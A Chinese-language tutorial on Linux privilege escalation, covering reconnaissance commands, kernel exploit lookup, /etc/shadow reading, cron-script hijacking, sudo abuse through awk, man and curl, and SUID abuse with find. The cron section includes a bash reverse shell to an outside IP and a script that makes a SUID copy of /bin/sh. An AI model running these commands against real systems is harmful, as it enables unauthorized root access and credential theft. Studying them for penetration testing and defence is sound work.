Linux提权
我们在拿到网站权限之后,我们为了能够更好的控制主机,我们一般会进行提权,在Linux下我们一般需要把权限提高为root,接下来我们就针对Linux提权的几种方法进行介绍。
提权的基本思路
信息收集
信息收集是最关键的一步,这里决定了我们使用什么方式进行提权,使用提权的exp是什么,能否在主机文件中找到带有敏感信息的文件等。
漏洞发现
我们在信息收集之后,就可以根据其在网络中搜索相应的EXP,帮助我们更快的找到提权方法。
漏洞利用
到这一步的时候,就代表我们就已经确定了漏洞的位置以及漏洞的利用方法,我们可以通过漏洞完成提权。
Linux基本信息收集命令
内核、操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名
uname -m 查看系统内核架构(64/32)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 发行版本信息
cat /etc/issus 分发信息
cat /proc/cpuinfo CPU信息
计算机用户和群组
cat /etc/passwd 列出系统上所有的用户
cat /etc/group 列出系统上所有的组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }'列出所有的超级用户帐户
whoami 查看当前用户
w 谁目前已经登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog -u %username% 有关指定用户上次登录的信息
lastlog | grep -v "Never" 不显示从未登录的用户
用户权限信息
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
chmod 777 xxx 给xxx以所有权限
计算机环境信息
env 显示环境变量
set 显示环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
几种提权方式
利用内核溢出提权
这种漏洞一般在网上有公开的EXP,我们在收集到目标主机的关键信息之后,就可以搜索相应的exp,基本的信息收集命令我们已经在之前列出。
信息收集
uname -a 打印所有可用的系统信息
cat /etc/*-release 发行版本信息
我们得到信息:系统版本CentOS 6.10
,内核版本2.6.32
,架构x86_64
接着我们可以在www.exploit-db.com
根据我们得到的信息搜索相应的漏洞
还可以使用kali
系统中的searchsploit
,这是一个基于Exploit-DB
的搜索工具,他已经将漏洞的信息以及EXP保存在了本地,所以在离线状态我们也可以使用。
searchsploit linux 2.6 CentOS 6.10
如果搜索到的结果不理想我们可以适当的减少搜索条件。
通过脚本来获取漏洞信息
如果我们有文件写入的权限,我们可以上传一个脚本来检测系统提权漏洞,脚本下载地址https://github.com/mzet-/linux-exploit-suggester
。
我们将脚本上传到目标主机中,执行命令
chmod +x linux-exploit-suggester 一般我们需要给文件赋予执行权限
./linux-exploit-suggester.sh 运行脚本
我们可以看到,这里已经检测出了可能存在脏牛内核提权漏洞。
明文root密码提权
遇到这种概率情况的概率非常小,不过也是一种思路,我们在这里介绍一下
我们在遇到linux之后,想要获取账号信息和密码信息一般有两个文件一个是/etc/passwd
另一个是/etc/shadow
,在passwd
中存放的是用户帐户,shadow
中存放的是用户的密码hash
,正常情况下passwd
所有用户可读,root用户可读可写,shadow
只有root用户可读写。
我们可以看一下/etc/passwd
文件中的内容。
其每一行代表的意义如下
root:x:0:0:root:/root:/bin/bash
用户名:密码(x代表密码放到了shadow中):用户标识号(UID,0为root用户,1-99保留,100开始为普通用户):组标识号(GID):注释性描述:主目录:登录shell
我们接着看shadow
文件中的内容
其每一行代表的意义如下
root:$1$UM066ZWg$oVVJwzE3Bv3FSj//bMNhe.:18406:0:99999:7:::
用户名:加密口令:最后一次修改时间:最小时间间隔(修改口令):最大时间间隔:警告时间:不活动时间:失效时间:标志
其中加密口令位置各种字符代表的信息
1.如果为空,则对应用户没有口令,登录时不需要口令;
2.星号代表帐号被锁定
3.双叹号表示这个密码已经过期了
4.$6$开头的,表明是用SHA-512加密
5.$1$表明是用MD5加密
6.$2$ 是用Blowfish加密
7.$5$ 是用 SHA-256加密
了解过两个文件之后,我们就应该可以知道如何通过操作这两个文件来进行修改帐户信息。比如我们遇到了passwd
文件可写,那我们就可以修改其中密码的位置,设置为我们已知密码的hash
,如果shadow
可读,我们就可以尝试破解密码。
密码复用
我们在提权之前可能就会获取一些其他帐户或者权限管理的密码,比如数据库,后台密码等,我们在这里可以尝试使用这些密码来登录root帐户。
不过这里我们还需要注意一点,linux要求用户必须从终端设备中输入密码,而不是从标准输入中(stdin),我们获取的低权限shell中就无法完成密码的输入,因为使用sudo
输入密码的时候,这里获取的是键盘的输入而不是bash
输入的字符,所以为了能够输入密码,我们需要模拟一个终端出来,使用python反弹回来一个终端可以解决这个问题
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su #这里我们就可以正常输入密码
计划任务
在Linux系统中可能会存在一些定时的任务,这些任务由crontab
来管理,这些定时任务具有其所属用户的权限,非root权限的用户不可以列出root用户的定时任务,但是/etc
系统内的定时计划任务可以被列出。
cat -l /etc/cron*
重写脚本文件
如果这些计划任务执行的脚本可写,我们可以尝试修改脚本来反弹shell
。crontab
文件是几环任务的配置文件,这个文件只有root可写,不过系统存在计划任务的时候,我们无需去修改crontab
文件,我们只需要查看其计划任务执行的脚本文件的权限,如果可写我们就尝试修改这个文件。
为了测试我已经添加了一个定时任务python test.py
,查看定时任务一般有两种crontab -e
、cat /etc/crontab
都可通过编辑文件来添加定时任务。
这里我们可以看到有一个每分钟执行的定时任务
而且我们也有对py文件修改的权限,我们可以写入如下代码来进行提权
import os
import os os.system('cp /bin/sh /tmp/sh') os.system('chmod u+s /tmp/sh')
如果是sh文件,我们可以直接写入echo "bash -i >& /dev/tcp/192.168.252.133/8889 0>&1" | bash
来反弹一个root权限的shell。
sudo滥用
我们在操作Linux系统的时候,如果如果遇到权限不够的时候,会在命令前添加sudo
来执行,sudo
是让普通用户执行root
命令的工具,起配置文件是/etc/sudoers
,文件中定义了哪些用户可以执行sudo
命令,定义了某个应用程序用root
访问是否需要密码验证。
我们一般获取到shell
之后会使用sudo -l
来查看自己的权限,入股出现如下入情况就代表我们当前的权限是root
。
如果我们在测试的时候,自己的用户可以使用sudo来执行命令,那我们的操作就是以root权限执行的,这个漏洞其实就是因为系统操作人员配置不当导致的,在正常情况下我们可以判断一下自己的用户是否可以使用sudo
。
这里我们为了进行测试,我们手动给test001
用户添加了sudo
权限。
test001 ALL=(ALL) ALL
接下来我们就针对sudo可以使用的几个命令进行测试,其中sudo可以支持的命令可以在这里查看https://gtfobins.github.io/
。
其实在可以使用sudo
命令之后,以下命令都是多余的,不过既然测试了就记录下来。
1.su
这个命令使用来切换用户的,除了root外,其他用户切换用户均需要输入密码,以下命令切换到root。
sudo su
2.awkawk
是一种处理文本的语言,不过我们这里可以使用它来获取一个root权限的shell,我们可以使用这个命令配合sudo
获取一个root权限的shell。
sudo awk 'BEGIN {system("/bin/sh")}'
3.man
这个命令是用来查看其他命令的参数的,不过我们这里也可以来获取shell。
不过要使用man
来获取shell,我们需要一个终端,这里我们首先在反弹的shell中执行如下来返回一个虚拟终端。
python -c 'import pty;pty.spawn("/bin/sh")'
接着执行
sudo man man
!/bin/sh
最终返回一个root
权限的shell
4.curl
curl是一个利用URL规则在命令行下工作的文件传输工具,我们可以利用它来读取本地文件。
sudo curl file:///etc/shadow
SUID
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行,我们使用ls -la
查看时候带有s
属性才支持SUID。
举个例子,我们知道正常情况下普通用户是无法查看和修改/etc/shadow
中的内容的,但是我们使用passwd
就可以修改用户的密码从而修改了shadow
文件内容,这就是SUID的作用。
我们再以C语言的程序举个例子
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//以root运行
system("cat /etc/shadow");
}
接着对其进行编译然后添加SUID
权限。
gcc test.c -o test
chmod u+s test
之后查看文件就是上面的格式,这样就算不是root用户也可以执行这个文件来查看shadow
文件中的内容了。
了解过这些之后,我们需要知道当前linux中可以用来提权的可执行文件
name vim find bash more less nano cp
我们可以通过以下命令来查找系统中存在SUID权限的文件,我们可以看到,我们之前创建的test3也被找到了。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
接下来我们使用find xxx -exec whoami \;
来判断是否可以以root权限来执行。
这里我们系统中可以用来提权的命令都没有SUID
权限,这里我们就手动给find
命令来添加SUID
权限然后来测试提权,如果给find
添加了SUID
权限,那么其执行的命令都是以root
权限执行的。
chmod u+s /usr/bin/find
接着我们可以在反弹的shell中测试,命令如下
find / -perm -u=s -type f 2>/dev/null | grep find //查看find是否有SUID权限
find 123.txt -exec cat /etc/shadow \; //使用find命令来读取shadow文件
其它
Linux提权还有其他的方式,比如查看历史命令记录,还有其他的服务漏洞导致可以提权的,这种每一种都可以展开讲,这里就暂不介绍了。
参考文章:
https://blog.csdn.net/love20165104027/article/details/82386271
https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651069847&idx=3&sn=327a2a879577b0125e193badd2d38e05&chksm=bd1f8f1c8a68060af6b796320fa165f57449cf8f48299e7fcc0c7bd2662dd8c6c59b578b5915&mpshare=1&scene=23&srcid=0922J56qbNEqZQm8AmkiJF4w&sharer_sharetime=1600778027043&sharer_shareid=99867ebe643afa72bf08df75a04e311b#rd